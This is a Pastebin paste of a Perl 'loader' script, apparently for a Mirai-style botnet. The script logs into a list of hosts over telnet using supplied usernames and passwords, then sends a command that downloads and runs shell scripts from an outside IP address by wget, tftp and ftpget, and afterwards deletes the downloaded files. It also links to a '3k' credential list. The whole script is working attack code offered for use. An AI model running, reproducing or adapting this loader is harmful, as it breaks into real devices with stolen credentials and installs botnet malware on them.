miraip0ts

Shitty Perl Loader

Jan 3rd, 2017
695
0
Never
Not a member of Pastebin yet? Sign Up, it unlocks many cool features!
Perl 1.26 KB | None | 0 0
  1. #!/usr/bin/perl
  2. # Big 3k list https://www.dropbox.com/s/prasg4b8g933czi/3k.txt?dl=0
  3.  
  4. if (@ARGV < 1)
  5. {
  6.     print "Usage: perl " . $0 . " <list>\n";
  7.     exit;
  8. }
  9. use Net::Telnet;use Parallel::ForkManager;
  10.  
  11. my $checkTelnet = true;
  12. my $botCmd = 'cd /tmp || cd /var/system || cd /mnt || cd /lib || cd /var/run ||  cd /root || cd /; wget http://185.61.138.209/bins.sh; chmod 777 bins.sh; sh bins.sh; tftp 185.61.138.209 -c get tftp1.sh; chmod 777 tftp1.sh; sh tftp1.sh; tftp -r tftp2.sh -g 185.61.138.209; chmod 777 tftp2.sh; sh tftp2.sh; ftpget -v -u anonymous -p anonymous -P 21 185.61.138.209 ftp1.sh ftp1.sh; sh ftp1.sh; rm -rf bins.sh tftp1.sh tftp2.sh ftp1.sh\n';
  13. my $worker = new Parallel::ForkManager(1024); open(fh, "<", @ARGV[0]); @login; while (<fh>)
  14. {
  15.     @array = split(":", $_); push(@login, @array);
  16. }
  17. for (my $i = 0; $i < scalar(@login); $i += 3)
  18. {
  19.     $worker->start and next;
  20.     $a = $i; # IP Address
  21.     $b = $i + 1; # Username
  22.     $c = $i + 2; # Password
  23.     my $telnet = new Net::Telnet();
  24.     if($checkTelnet && $telnet->open(Host=>$login[$a], Timeout=>30))
  25.     {
  26.         my$res=$telnet->login($login[$b],$login[$c]);
  27.         if ($res){
  28.             $telnet->cmd($botCmd);
  29.             sleep 30;
  30.             print "[\033[32m+\033[37m] Command sent $login[$a]\n";
  31.     $worker->finish;
  32. }
  33. $worker->wait_all_children;
Advertisement
Add Comment
Please, Sign In to add comment